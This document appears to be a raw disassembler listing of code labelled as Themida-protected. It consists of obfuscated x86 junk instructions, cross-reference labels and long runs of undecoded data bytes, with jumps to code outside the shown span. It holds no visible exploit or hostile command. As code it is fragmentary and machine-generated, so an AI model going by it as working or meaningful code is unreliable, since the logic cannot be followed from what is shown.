--------------------------------------------------------------------------- loc_5651D4: ; CODE XREF: Themida_:0055B39Aj pop ebx and edi, 165679EDh sub edi, 16523808h add ebp, edi jmp loc_556891 ; --------------------------------------------------------------------------- dd 483B3558h, 348B1C92h, 4C48124h, 40000000h, 725CBB53h dd 0D8091437h, 0FF8256E9h db 0FFh ; --------------------------------------------------------------------------- loc_565205: ; CODE XREF: Themida_:005661A1j sub ebx, 0D9D3CB9h sub ebx, esi add ebx, 0D9D3CB9h push esi jmp loc_553169 ; --------------------------------------------------------------------------- db 89h, 0E3h, 81h dd 4C3h, 4C38100h, 87000000h, 835C241Ch, 0FF5204EAh, 0E9042474h dd 0FFFEF34Bh, 0E951EB01h, 0FFFEF869h ; --------------------------------------------------------------------------- loc_565240: ; CODE XREF: Themida_:00555817j push dword ptr [esp] jmp loc_563CA6 ; --------------------------------------------------------------------------- aWhK db 'Wh[K',0 align 2 dw 3E9h dd 57FFFECDh, 0D07D2668h, 166E93Ah, 3C8BFFFFh, 0E1895124h dd 2D4FB850h, 860D3411h, 0E952D00Ah, 0FFFEE36Ch, 0AB1F72BDh dd 0A30BE971h, 348BFFFFh, 4C48124h, 59000000h, 2324E981h dd 0F90114F6h, 7E4768h, 1EE3E900h, 8956FFFFh, 0D414E9E6h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5652A2: ; CODE XREF: Themida_:0055937Cj push ecx mov ecx, 4EB93C04h mov edi, 515483F3h sub edi, ecx jmp loc_55F08F ; --------------------------------------------------------------------------- dd 9C2404FFh, 0FEC431E9h db 0FFh ; --------------------------------------------------------------------------- loc_5652BD: ; CODE XREF: Themida_:0055CF4Fj push ecx jmp loc_5631A8 ; --------------------------------------------------------------------------- loc_5652C3: ; CODE XREF: Themida_:0055D638j mov ebp, [esp] add esp, 4 add eax, 16EB798Ch jmp loc_559451 ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 4C48359h, 81E28952h, 4C2h, 4C28100h, 87000000h dd 685C2414h, 2C78h, 0FF11FAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5652FD: ; CODE XREF: Themida_:00559F96j push edi push 5B1Bh jmp loc_5554F6 ; --------------------------------------------------------------------------- loc_565308: ; CODE XREF: Themida_:0055F5FBj sub al, dh push 1535h mov [esp], edx jmp loc_56389E ; --------------------------------------------------------------------------- db 89h dd 3CB9240Ch, 8173E063h, 0BB3FB8E9h, 4EC834Ch, 0FFF231E9h dd 32BA52FFh, 0C115181Ah, 0E95307EAh, 0FFFF3266h, 5C243487h dd 0E9241C8Bh, 0FFFF7B86h, 147DC281h, 0D301001Dh, 240C8B5Ah dd 5004C483h, 0A87E54B8h, 7AE95653h, 0FFFFFF88h, 0CFE92434h db 80h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56536B: ; CODE XREF: Themida_:005626BFj mov ch, al jmp loc_559CD1 ; --------------------------------------------------------------------------- loc_565372: ; CODE XREF: Themida_:005633C5j sub ebx, 2 xor ebx, [esp] jmp loc_559ABE ; --------------------------------------------------------------------------- dd 8704C183h, 48E9240Ch, 8F000018h, 0A7E92404h, 89000000h dd 0E8E9240Ch, 83FFFF1Eh, 545704C4h, 0FF55FBE9h db 0FFh ; --------------------------------------------------------------------------- loc_5653A5: ; CODE XREF: Themida_:00552105j add bl, al add bl, 0E3h push 1C60h mov [esp], edx sub esp, 4 mov [esp], eax push ecx mov cl, 65h mov al, 0BEh xor al, cl pop ecx jmp loc_55395F ; --------------------------------------------------------------------------- dd 71240481h, 0E91EEB0Ah, 172Fh ; --------------------------------------------------------------------------- loc_5653D4: ; CODE XREF: Themida_:0055904Dj add edi, esi sub edi, 2BE93769h pop esi xchg edi, [esp] jmp loc_561757 ; --------------------------------------------------------------------------- loc_5653E5: ; CODE XREF: Themida_:00553AADj pop ebp pop dword ptr [esp] jmp loc_55EB71 ; --------------------------------------------------------------------------- loc_5653EE: ; CODE XREF: Themida_:00565939j add bl, ah mov eax, [esp] add esp, 4 jmp loc_554924 ; --------------------------------------------------------------------------- db 81h dd 0C57263C3h, 0E6F38135h, 814D9F45h, 5F87C8EBh, 5BDF0175h dd 0FFE866E9h, 0F9885AFFh, 0FF07C7E9h db 0FFh ; --------------------------------------------------------------------------- loc_56541D: ; CODE XREF: Themida_:0055E824j mov ecx, 47035E77h mov edx, 0B8FCA18Ah jmp loc_559028 ; --------------------------------------------------------------------------- dd 7587E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565432: ; CODE XREF: Themida_:00566A22j xchg edi, [esp] jmp loc_55A791 ; --------------------------------------------------------------------------- dw 685Ch dd 6F01h, 0BB241C89h, 4, 0FF8441E9h, 3DBF5AFFh, 0E9437D62h dd 0FFFF11D7h, 81CB0158h, 602C69EBh, 240C8B5Eh, 4C481h dd 0D3010000h, 0FF0378E9h, 0C8B66FFh, 4EC8324h, 68240C89h dd 28ADh, 0FEFB43E9h, 89525DFFh, 4B951E2h, 0E9000000h dd 0FFFF99BEh, 0B85052ADh, 399140C3h, 8158C289h, 0FB3B5EEAh dd 0FBBD5543h, 1366F34h, 0F2815DEAh, 450A0E4Dh, 0D8071205h dd 2DD00119h, 19D80712h, 0FF44AEE9h, 2474FFFFh, 48F5904h dd 34FF5C24h, 54525A24h, 4EE9505Ah, 58FFFF68h, 0E902EC83h dd 0FFFF9C4Bh ; --------------------------------------------------------------------------- loc_5654E4: ; CODE XREF: Themida_:00561FFDj xor ebx, edi jmp loc_554F6C ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24148900h, 5366AFB2h, 0F8008AB7h, 0FF347BE9h dd 4EC83FFh, 0E9242C89h, 0FFFFC5D0h ; --------------------------------------------------------------------------- loc_56550C: ; CODE XREF: Themida_:00564A49j pop eax jmp loc_56228D ; --------------------------------------------------------------------------- dw 0FE29h dd 0FED1B1E9h, 78BA52FFh, 813E0C5Fh, 0FFFFFFC2h, 0A7EA81FFh dd 0F73F5B6Bh, 2DEA81D2h, 1D105F6h, 0CF015AD7h, 1602EF81h dd 55593049h, 4BDh, 5DEF0100h, 31243C33h, 3C33243Ch, 24248B24h dd 8904EC83h db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi mov esi, 4 add ebp, esi pop esi sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp mov ebp, 695C5646h push ebx jmp loc_56124C ; --------------------------------------------------------------------------- db 8Bh dd 36E92424h db 0F3h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565583: ; CODE XREF: Themida_:005627DFj push ebx jmp loc_55658C ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0FF4445E9h, 0EF815FFFh, 77CD1C3Bh, 0B5E0E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56559E: ; CODE XREF: Themida_:0055201Dj add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_56334C ; --------------------------------------------------------------------------- db 81h dd 4EEh, 24348700h, 242C895Ch, 0C581E589h, 4, 0FF0B4AE9h dd 0FC8850FFh, 0E2885253h, 88D48850h, 0E95A58E3h, 0FFFF97CEh ; --------------------------------------------------------------------------- loc_5655DC: ; CODE XREF: Themida_:0055C975j mov esi, 702F0B31h jmp loc_5533B7 ; --------------------------------------------------------------------------- loc_5655E6: ; CODE XREF: Themida_:00562F58j push edi jmp loc_55CC56 ; --------------------------------------------------------------------------- loc_5655EC: ; CODE XREF: Themida_:00562D50j pop ecx add esp, 4 push ebx mov bh, 79h jmp loc_566971 ; --------------------------------------------------------------------------- dd 0A605F181h, 0C28118ABh, 0C656D56h, 0EA81CA01h, 0C656D56h dd 1C9E9h, 148B6600h, 0CD95E924h, 0CE88FFFEh, 0E6D05966h dd 7CEE80h, 0E9515AF7h, 0FFFF89EDh, 46855h, 0E95D0000h dd 0FFFFDF32h, 24148B66h, 0C96E9h, 8BE80100h, 0EDE9242Ch dd 8BFFFF46h, 0C481242Ch, 4, 5394C381h, 0EBC15B51h, 0F7F8E902h dd 0DEF7FFFEh, 8437EE81h, 72E9B337h, 83FFFF8Dh, 6FE904C4h db 0E8h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565677: ; CODE XREF: Themida_:0055816Cj mov ebx, [esp] push ecx mov ecx, esp push ebp push eax jmp loc_562E8C ; --------------------------------------------------------------------------- dd 426CC1BEh, 0E9554648h, 0FFFF766Ch, 0BA8C581h, 895E77FFh dd 0EEC15DEEh, 0DD8E902h, 68B8FFFFh, 1A57F51h, 565358C5h dd 0FEC739E9h, 2434FFFFh, 5A54525Bh, 4C281h, 98E90000h dd 57FFFEEFh, 0FB6ABBBFh, 0AF44E968h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5656CE: ; CODE XREF: Themida_:00565916j mov eax, ebp pop ebp pop esi or eax, 16BF19F2h sub eax, 36FF5BF3h sub edx, 68075CB6h jmp loc_5650C5 ; --------------------------------------------------------------------------- loc_5656E7: ; CODE XREF: Themida_:0055307Ej pop esp push edx mov edx, esp add edx, 4 jmp loc_55F5EF ; --------------------------------------------------------------------------- dw 0E0BDh dd 0E91510F7h, 0FFFF830Fh, 2D08E0C1h, 8C6EEDFCh, 0E2E9C701h dd 0FF000003h, 34FF1C77h, 24048B24h, 833EE956h, 8159FFFFh dd 4C3h, 74FF5300h, 8F5B0424h, 3AE92404h, 2DFFFFE1h, 388B67ACh dd 0F342D2Dh, 4EC8169h, 89000000h, 0ACBF243Ch, 0E9287415h dd 0FFFF8B8Eh ; --------------------------------------------------------------------------- loc_565750: ; CODE XREF: Themida_:0055C3CEj pop edx push eax mov eax, 5F0F48A8h add eax, 1 push edx push 7E5B6205h pop edx sub eax, edx push dword ptr [esp] pop edx jmp loc_565E06 ; --------------------------------------------------------------------------- dw 0B252h dd 1C280DFh, 0E2C0C2FEh, 8E2C008h, 0FF9072E9h, 24248BFFh dd 31241433h, 14332414h, 24248B24h, 2424D366h, 0BF54E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56579A: ; CODE XREF: Themida_:00557A98j push edx mov edx, 0CBA6AC3h jmp loc_55982E ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 5BFDBB53h, 0BA524F68h, 6DBE198Dh, 5E3AF281h, 0BDE972FDh dd 8100000Bh, 59630AEEh, 0F7DEF776h, 0B3F681D6h, 0E966FC0Ah dd 0FFFF8D63h, 937FE957h, 8159FFFFh, 4EAh, 24148700h, 29FCE95Ch dd 8951FFFFh, 0A7FEE9E1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5657F2: ; CODE XREF: Themida_:0055B324j mov ch, ah sub esp, 4 mov [esp], ebx mov bl, ch jmp loc_55A63F ; --------------------------------------------------------------------------- dd 0CE81D6F7h, 74B161CCh, 1618C681h, 0F2010A42h, 0EEEBE95Eh dd 1C87FFFFh, 4895C24h, 0C5E95524h db 0F0h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565827: ; CODE XREF: Themida_:0055958Ej pop ebx add edx, 4 xor edx, [esp] jmp loc_565F05 ; --------------------------------------------------------------------------- loc_565833: ; CODE XREF: Themida_:00557FC0j sub esp, 4 mov [esp], ebx push 6948h mov [esp], esp jmp loc_56693E ; --------------------------------------------------------------------------- dw 0F681h dd 2043156Bh, 652EC681h, 0E94C04h, 81FFFFA1h, 4C4h, 5BFE2800h dd 0F028552Ch, 0BBA6852h, 0C8E90000h db 0EBh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56586F: ; CODE XREF: Themida_:0055F2D3j dec ecx xor ecx, 8D9EFF4Ch mov ebx, ecx pop ecx shr ebx, 7 sub ebx, 0B5DB7616h sub ebx, 0E08CE436h push ecx mov ecx, ebx mov edx, ecx pop ecx push dword ptr [esp] pop ebx jmp loc_5662F3 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832404h, 0E9545204h, 0FFFFF8F3h ; --------------------------------------------------------------------------- loc_5658A4: ; CODE XREF: Themida_:00553D31j add esp, 4 jmp loc_563716 ; --------------------------------------------------------------------------- loc_5658AF: ; CODE XREF: Themida_:00566275j pop esi xchg ebx, [esp] mov esp, [esp] push 45BDh mov [esp], edx push 4 jmp loc_562821 ; --------------------------------------------------------------------------- dd 8105E1C1h, 2588C4F1h, 0FFC801D0h, 81592434h, 4C4h, 0E3895300h dd 4C381h, 0EB810000h, 4, 0E9241C87h, 0FFFF8D75h, 5106EDC1h dd 9A4FC1B9h, 0E981417Ah, 6AE3F5B9h, 0FF540BE9h, 0E9028FFFh dd 0FFFEBDDEh ; --------------------------------------------------------------------------- loc_565910: ; CODE XREF: Themida_:00561643j xor ebp, 50DB673Dh jmp loc_5656CE ; --------------------------------------------------------------------------- db 81h dd 0C104CC1h, 13C18123h, 814EBE00h, 9A0687E9h, 3FE98154h dd 0E91E2701h, 0FFFEF7F8h ; --------------------------------------------------------------------------- loc_565938: ; CODE XREF: Themida_:00566774j pop ecx jmp loc_5653EE ; --------------------------------------------------------------------------- dw 5157h dd 0D9655AB9h, 59CF894Dh, 0C15FF809h, 0DB2D04E8h, 5272F84Ch dd 354312BAh, 0E5E95661h, 8FFFFFA0h, 3CE92404h db 0F0h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565967: ; CODE XREF: Themida_:00561934j mov [esp], esp add dword ptr [esp], 4 pop edx push ebp mov ebp, 2EAB69C6h dec ebp sub ebp, 1 sub ebp, 2EAB69C0h add edx, ebp pop ebp add edx, 4 push edx push dword ptr [esp+4] jmp loc_551FF8 ; --------------------------------------------------------------------------- db 5Eh dd 31241433h, 14332414h, 14895C24h, 1C176824h, 24890000h dd 24048124h, 4, 5A2434FFh, 8104C483h, 4C2h, 4EC8300h dd 0B8240489h, 74FD7CA0h, 0FFE19DE9h, 2FD3BEFFh, 0E6815F95h dd 4B700363h, 0FEC6C0E9h db 0FFh ; --------------------------------------------------------------------------- loc_5659D9: ; CODE XREF: Themida_:0055F6F8j pop eax sub edi, ecx jmp loc_557589 ; --------------------------------------------------------------------------- loc_5659E1: ; CODE XREF: Themida_:005580D3j pop edx add esp, 4 sub edx, 168B2199h add edx, 2DEF4E0Ch sub edx, esi sub edx, 2DEF4E0Ch sub esp, 4 mov [esp], edi push edx push 0A3B66F1h pop edx push edi jmp loc_55C451 ; --------------------------------------------------------------------------- loc_565A12: ; CODE XREF: Themida_:00552C00j sub edi, 67C877B3h xor edi, 41EF7DC5h jmp loc_553355 ; --------------------------------------------------------------------------- db 54h dd 0E9241C8Bh, 598h ; --------------------------------------------------------------------------- loc_565A2C: ; CODE XREF: Themida_:005591ADj mov ebx, [esp] add esp, 4 add ecx, edx push dword ptr [esp] jmp loc_56016A ; --------------------------------------------------------------------------- db 87h dd 895C241Ch, 0E4B3241Ch, 505BD830h, 0FF154DE9h, 4C483FFh dd 0E95BDF01h, 0FFFF87E0h, 4C481h, 0C4830000h, 28BF0404h dd 59BF2CC8h, 0F406E950h, 0FF5AFFFFh, 0D4E92434h, 66FFFF71h dd 48B6658h, 514EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565A86: ; CODE XREF: Themida_:0055FB56j sub esp, 4 mov [esp], edx jmp loc_551E45 ; --------------------------------------------------------------------------- dd 240C8B66h, 68E668h, 243C8900h, 3AE9E789h db 96h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565AA7: ; CODE XREF: Themida_:0055C1BCj xor edx, ecx mov ecx, [esp] jmp loc_558E0F ; --------------------------------------------------------------------------- loc_565AB1: ; CODE XREF: Themida_:0055CBDFj xor ebp, 4A277D84h shl ebp, 2 add ebp, 0EE93219h xor ebp, 0C408DD1Bh or ebp, 72AC5CBCh push ebp not dword ptr [esp] pop ebp shr ebp, 4 shl ebp, 7 jmp loc_566308 ; --------------------------------------------------------------------------- dd 2C2FE953h, 0E089FFFFh, 405h, 4C08300h, 0FF2EBFE9h, 0CF6858FFh dd 89000057h, 2B9240Ch, 1000000h, 0D559E9CFh, 0BB53FFFEh dd 65EC1CDFh, 0EBC1DBF7h, 0CC11E902h, 0F752FFFEh, 815A2414h dd 0FB7F6BE2h, 0C3C2813Eh, 81F90EFEh, 1068D9EEh, 0E9D60136h dd 0FFFF54D3h ; --------------------------------------------------------------------------- loc_565B34: ; CODE XREF: Themida_:00562295j mov ecx, 7DD218FFh add ecx, 7AD8278Dh and ecx, 67AE3B35h shl ecx, 4 jmp loc_558D76 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 83000000h, 1C8904ECh, 1C8B5424h, 4C48124h, 51000000h dd 0FF1DF0E9h, 239B68FFh, 4890000h, 5FF96824h, 0E9583DC9h dd 0FFFF96CEh, 0F56DE954h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565B82: ; CODE XREF: Themida_:0055C993j push esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp shr edx, 8 sub edx, 14660BF7h xor edx, 24D110FFh push esi mov esi, 20727562h jmp loc_557492 ; --------------------------------------------------------------------------- loc_565BAC: ; CODE XREF: Themida_:00561BF7j add ebp, ebx jmp loc_552EBB ; --------------------------------------------------------------------------- db 31h dd 0F1015AD6h, 9118E95Eh, 0C581FFFFh, 4, 4C581h, 2C330000h dd 242C3124h, 5C242C33h, 283BC380h, 3BEB80C3h, 8FD68h dd 24048900h, 0E5668h, 240C8900h, 0FF7CAFE9h, 5FFA89FFh dd 0FD0E951h, 0C781FFFFh, 4, 4EF81h, 3C870000h, 3C895C24h dd 2474FF24h, 2434FF04h, 0FF23F9E9h, 14335DFFh, 24143124h dd 8B241433h, 4892424h, 0BAC0E924h, 555FFFFEh, 0EF89DD89h dd 0F8015B5Dh, 2434FF5Fh, 0FF0B0FE9h, 685253FFh, 61D7A49h dd 1AF2815Ah, 81514C46h, 33BCEBEAh, 5AD38957h, 5E9DE01h db 3, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565C5F: ; CODE XREF: Themida_:00552B6Bj pop eax sub ch, dl sub ch, 17h jmp loc_554CB4 ; --------------------------------------------------------------------------- dw 0C483h dd 240C8B04h, 0FEE1ACE9h db 0FFh ; --------------------------------------------------------------------------- loc_565C75: ; CODE XREF: Themida_:00557B49j add ecx, 0CAF78DC3h push 2AE7h mov [esp], ecx pop esi mov ecx, [esp] add esp, 4 and eax, esi push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 or edx, eax shl edx, 1 jmp loc_562CD4 ; --------------------------------------------------------------------------- db 29h dd 0C5815AD5h, 6854D89Ch, 815DEF21h, 0C92A49EFh, 54BB5352h dd 8186BF63h, 0A71215EFh, 81DF296Eh, 0A71215C7h, 71BBE96Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565CD2: ; CODE XREF: Themida_:0055D595j mov ecx, [esp] add esp, 4 sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_55C537 ; --------------------------------------------------------------------------- dd 1018ED81h, 0DDF7778Dh, 5884BE56h, 1BE9138Dh, 0BE00000Eh dd 38AD0C3Ah, 8247429h, 2444295Eh, 24448104h, 0AD0C3A04h dd 255DE938h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565D1A: ; CODE XREF: Themida_:00552A4Dj xor edi, [esp] jmp loc_56175D ; --------------------------------------------------------------------------- dw 8F5Fh dd 248B2404h, 6CE95724h, 5EFFFEF7h, 4C681h, 0EE830000h dd 24348704h, 2434895Ch, 42474FFh, 24048F5Eh, 6624248Bh dd 5724048Bh, 75685F54h, 89000036h, 8ABE2434h, 812E9871h dd 678E7AC6h, 5EF701D1h, 2BD55h, 0BD550000h, 36C74850h dd 65E9EF29h, 5FFFFEBEh, 81242C8Bh, 4ECh, 24148900h, 0C281E289h dd 4, 5204C283h, 42474FFh, 24048F5Ah, 0FFE2A9E9h, 240481FFh dd 4, 459D685Bh, 0C890000h, 4FF26824h, 2C890000h, 59596824h dd 2C8B7B6Fh, 0F259E924h, 0BB53FFFEh, 72086931h, 6CFCB81h dd 0C38132EAh, 18666CABh, 0FF8425E9h, 5EAC1FFh, 0FFDB7AE9h dd 0FFFFBFFFh, 0FE29FFFFh, 3E6C15Fh, 5044C681h, 0F70128E6h dd 0FF6F76E9h db 0FFh ; --------------------------------------------------------------------------- loc_565DFD: ; CODE XREF: Themida_:005663B0j xchg esi, [esp] pop esp jmp loc_55A7B1 ; --------------------------------------------------------------------------- loc_565E06: ; CODE XREF: Themida_:00565769j push esi mov esi, esp push edx mov edx, 446F7372h jmp loc_562AA6 ; --------------------------------------------------------------------------- loc_565E14: ; CODE XREF: Themida_:00555F6Fj pop esi sub ebx, edi jmp loc_5651A5 ; --------------------------------------------------------------------------- dd 89240489h, 405E0h, 0B9510000h, 4, 8759C829h, 248B2404h dd 24348924h, 268h, 24348B00h, 4C481h, 0E9520000h, 0FFFEF259h ; --------------------------------------------------------------------------- loc_565E4C: ; CODE XREF: Themida_:005601DDj xor bl, 2Fh sub ah, bl jmp loc_55271C ; --------------------------------------------------------------------------- loc_565E56: ; CODE XREF: Themida_:00563614j push ebp mov ebp, 54AF70AEh dec ebp xor ebp, 41365171h neg ebp and ebp, 304E1B08h neg ebp xor ebp, 0C547AB61h jmp loc_5602F6 ; --------------------------------------------------------------------------- loc_565E78: ; CODE XREF: Themida_:0055CDF3j add ebp, 4 push ecx mov ecx, 4 jmp loc_553555 ; --------------------------------------------------------------------------- loc_565E89: ; CODE XREF: Themida_:00553EE1j mov ecx, 35105BEEh jmp loc_5523CD ; --------------------------------------------------------------------------- db 5Bh dd 0EFE9CE89h db 9Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565E9B: ; CODE XREF: Themida_:00556074j mov eax, 83F607Ah jmp loc_554AF4 ; --------------------------------------------------------------------------- db 5Fh, 81h, 0EFh dd 7FED578Bh, 0EDE9FB01h, 81FFFEE4h, 0ED5B87F1h, 0EC815524h dd 4, 0FFB97CE9h, 5EF331FFh, 0FEC192E9h, 286859FFh, 89000077h dd 0E789243Ch, 4C781h, 0C7810000h, 4, 5C243C87h, 4EECBE56h dd 0E6C1718Eh, 2E6C102h, 6D4EBF57h, 0FE316A7Dh, 5EEC15Fh dd 0FED443E9h db 0FFh ; --------------------------------------------------------------------------- loc_565F05: ; CODE XREF: Themida_:0056582Ej xor [esp], edx xor edx, [esp] pop esp and eax, ecx jmp loc_56377B ; --------------------------------------------------------------------------- db 5Ch dd 0BF243C89h, 664F6F91h, 121EBE56h, 0E68128ADh, 2AFC22B8h dd 0FF8302E9h db 0FFh ; --------------------------------------------------------------------------- loc_565F2D: ; CODE XREF: Themida_:00555359j add ebx, 29493308h xor ebx, 0FBFAB69Ch jmp loc_558543 ; --------------------------------------------------------------------------- dw 8B54h dd 0C4832434h, 4C68104h, 83000000h, 348704C6h, 0B3E6E924h dd 3C87FFFFh, 0A3E95C24h, 1FFFFC0h, 77A2E9CFh, 0B951FFFFh dd 4, 8759C801h, 2D5C2404h, 12B86A3Ch, 66FBBF57h, 0F78146C2h dd 3438565Dh, 7D79F781h, 0C14F1DDDh, 0E7C104E7h, 94F78106h dd 0E9DC4B30h, 0FFFEED11h, 8EDC15Ah, 0FE7FB850h, 0C5010098h dd 0FED1F6E9h, 61EA81FFh, 214B441Dh, 81435AD3h, 680DC3F3h dd 0E9DA092Fh, 0FFFECE9Dh, 8304C483h, 148904ECh, 16E95524h db 0EBh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565FD3: ; CODE XREF: Themida_:00559FC7j push ebx mov ebx, 496FFFFCh sub edi, ebx pop ebx sub ecx, 601559C4h add ecx, edi jmp loc_564F3B ; --------------------------------------------------------------------------- loc_565FE9: ; CODE XREF: Themida_:005647EFj add edi, 2E465083h pop edx jmp loc_566432 ; --------------------------------------------------------------------------- db 4Ah, 0E9h, 0C7h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565FFB: ; CODE XREF: Themida_:00554B9Cj pop eax pop ecx loc_565FFD: ; CODE XREF: Themida_:0055C9A9j push 4E3Eh mov [esp], ecx jmp loc_55343C ; --------------------------------------------------------------------------- dw 0C481h dd 4, 8B24048Fh, 4892424h, 0A71DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56601E: ; CODE XREF: Themida_:0055290Cj pop ecx push ebp mov ebp, 4 add eax, ebp jmp loc_5530D2 ; --------------------------------------------------------------------------- dd 24148B58h, 2904C483h, 2434FFC3h, 0E1CDE958h, 0C483FFFFh dd 0BBDEE904h, 0FF56FFFEh, 685F2434h, 5F3Eh, 81241489h dd 4ECh, 24248900h, 4EC81h, 0C3E90000h, 56000004h, 457248BEh dd 68E6D14Ah, 131Ah, 0FF92E0E9h, 81E189FFh, 4C1h, 4E98100h dd 0E9000000h, 0FFFF8502h, 57A3EF81h, 0C8E9144Eh, 81FFFFFEh dd 4C7h, 4C78300h, 31243C33h, 3C33243Ch, 71685C24h, 89000036h dd 468241Ch, 0E9000000h, 0FFFFBE0Ch, 75CCE955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5660C2: ; CODE XREF: Themida_:0055A5CAj push 0 sub [esp], edi jmp loc_55D283 ; --------------------------------------------------------------------------- db 57h dd 0FF038FE9h, 4C481FFh, 81000000h, 4C4h, 4C48100h, 81000000h dd 0FB3888EBh, 3AEB812Dh, 53C3ACF7h, 0C0240481h, 5F104D48h dd 48C0EF81h, 815B104Dh, 7811B0EFh, 83B85000h, 174ED1Bh dd 0DF2958C7h, 0FF6439E9h db 0FFh ; --------------------------------------------------------------------------- loc_566119: ; CODE XREF: Themida_:0055AB74j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_551FF0 ; --------------------------------------------------------------------------- db 5Ch dd 0B7241C89h, 0F6DFF63Fh, 0FC8850D7h, 54F65066h, 58660124h dd 0E958E788h, 0FFFF23EFh, 34FFEA89h, 0C4835D24h, 8BD00104h dd 0C4812414h, 4, 0FF7539E9h, 0C8B66FFh, 0EC835524h, 48F5404h dd 0C2EE924h, 0D25C0000h, 0E99C240Ch, 0FFFEB56Eh ; --------------------------------------------------------------------------- loc_566180: ; CODE XREF: Themida_:00554703j mov ecx, 2 sub edx, 38B85B67h sub edx, 325656B4h add edx, ecx push eax jmp loc_55F216 ; --------------------------------------------------------------------------- loc_566199: ; CODE XREF: Themida_:00563940j mov [esp], ebx mov ebx, 0 jmp loc_565205 ; --------------------------------------------------------------------------- dw 0E281h dd 51C25EC8h, 7C5AF281h, 0F281789Eh, 7559009Bh, 148BD029h dd 4C48124h, 29000000h, 0E2968F8h, 90E90000h db 66h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5661CF: ; CODE XREF: Themida_:00564A6Ej xchg ebp, [esp] pop esp xor ebx, eax pop dword ptr [eax] jmp loc_5516EE ; --------------------------------------------------------------------------- dd 0EF81D701h, 19FE33A9h, 8124148Bh, 4C4h, 2C836800h, 34890000h dd 5CE2E924h, 3C8BFFFFh, 4C48324h, 0FF82A6E9h, 81E589FFh dd 4C5h, 4ED8100h, 87000000h, 0E95C242Ch, 0FFFF5D5Fh ; --------------------------------------------------------------------------- loc_56621C: ; CODE XREF: Themida_:00555BB3j add edi, 4 push edx jmp loc_55846C ; --------------------------------------------------------------------------- loc_566228: ; CODE XREF: Themida_:00553A01j add edx, edi jmp loc_5622EF ; --------------------------------------------------------------------------- db 59h dd 4C181h, 6EE90000h, 8BFFFF70h, 0C4812404h, 4, 0ABA6851h dd 0E9594393h, 0FFFF251Eh, 0E94FDFF7h, 0FFFF1798h, 54240489h dd 61D0E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566262: ; CODE XREF: Themida_:0055BFF4j not edx xor edx, 12AE5203h add ebx, edx pop edx push esi mov esi, 4 add ebx, esi jmp loc_5658AF ; --------------------------------------------------------------------------- dw 0EAC0h dd 71EA8004h, 2C5AD028h, 90C4E919h, 0E981FFFFh, 4, 5C240C87h dd 0B8240489h, 78DE23A0h, 0D57E3905h, 4797E933h, 0B850FFFFh dd 4, 0A0E9C101h db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5662B3: ; CODE XREF: Themida_:00558C83j sub esp, 4 mov [esp], esp jmp loc_5635FB ; --------------------------------------------------------------------------- db 29h, 0DFh, 5Bh dd 0DBAB951h, 4E97CA1h db 18h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5662CF: ; CODE XREF: Themida_:0055A3A7j push ecx pop ebp pop ecx jmp loc_56314D ; --------------------------------------------------------------------------- db 81h dd 2C4h, 30F33000h, 0E9F330DEh, 0FFFF7F14h, 664EC581h dd 0D1E969CDh db 0CEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5662F3: ; CODE XREF: Themida_:00565892j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_55BFE8 ; --------------------------------------------------------------------------- loc_566308: ; CODE XREF: Themida_:00565AD7j xor ebp, 18EB172Bh push eax mov eax, 7B226F9Bh xor eax, 230321B4h shr eax, 8 or eax, 2B264277h jmp loc_559F66 ; --------------------------------------------------------------------------- loc_566326: ; CODE XREF: Themida_:005585E2j push 172C2098h pop esi jmp loc_560D87 ; --------------------------------------------------------------------------- db 89h, 0CDh, 0E9h dd 0FFFF589Dh ; --------------------------------------------------------------------------- loc_566338: ; CODE XREF: Themida_:0055B0E6j add edi, eax jmp loc_55CB7D ; --------------------------------------------------------------------------- loc_56633F: ; CODE XREF: Themida_:00563C84j mov edx, 5381200Eh neg edx shr edx, 7 sub edx, 158FDBBh add ebp, edx pop edx jmp loc_562560 ; --------------------------------------------------------------------------- loc_566357: ; CODE XREF: Themida_:0055A311j or edx, ebx pop ebx push ecx jmp loc_55882C ; --------------------------------------------------------------------------- dd 0AD7EE940h db 2 dup(0FFh) 